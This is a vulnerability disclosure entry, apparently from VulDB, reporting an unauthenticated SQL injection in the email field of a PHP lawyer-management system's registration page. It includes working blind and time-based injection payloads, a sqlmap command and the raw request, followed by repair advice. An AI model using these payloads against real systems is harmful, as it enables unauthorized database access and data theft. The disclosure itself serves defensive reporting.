提交 #579481: projectworlds Online Lawyer Management System Project Using PHP MYSQL V1.0 SQL Injection

# DESCRIPTION

- During the security review of "Online Lawyer Management System Project Using PHP MYSQL",I discovered a critical SQL injection vulnerability in the "/user_registation.php" file. This vulnerability stems from insufficient user input validation of the 'email' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

# No login or authorization is required to exploit this vulnerability

# Vulnerability details and POC

## Vulnerability lonameion:

- 'email' parameter

## Payload:

```makefile
Parameter: email (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: first_Name=1&last_Name=2&email=3' AND 3450=3450-- SfOs

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: first_Name=1&last_Name=2&email=3' AND (SELECT 5337 FROM (SELECT(SLEEP(5)))cCkq)-- fzzR
```

## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

```bash
《python sqlmap.py -r sqli.txt -p email --batch --dbms=mysql --level=3 --risk=3》
```

<img width="803" alt="Image" src="https://github.com/hhhanxx/attack/blob/main/Snipaste_2025-05-17_01-40-56.png?raw=true" />

sqli.txt:

```
POST /user_registation.php HTTP/1.1
Host: 192.168.137.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: deviceid=1746200827980; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0; PHPSESSID=vgtb36imolq7ir6oaiou5lclvp
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 32

first_Name=1&last_Name=2&email=3
```

# Suggested repair

1. **Use prepared statements and parameter binding:**
Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

2. **Input validation and filtering:**
Strictly validate and filter user input data to ensure it conforms to the expected format.

3. **Minimize database user permissions:**
Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.

4. **Regular security audits:**
Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

• 来源: ⚠️ https://github.com/hhhanxx/attack/issues/11
• 用户: attackxu (UID 84219)
• 提交: 2025-05-16 19時44分 (1 年前)
• 管理: 2025-05-18 08時40分 (2 days later)
• 状态: 已接受
• VulDB条目: 309493 [projectworlds Online Lawyer Management System 1.0 /user_registation.php email SQL注入]
• 积分: 20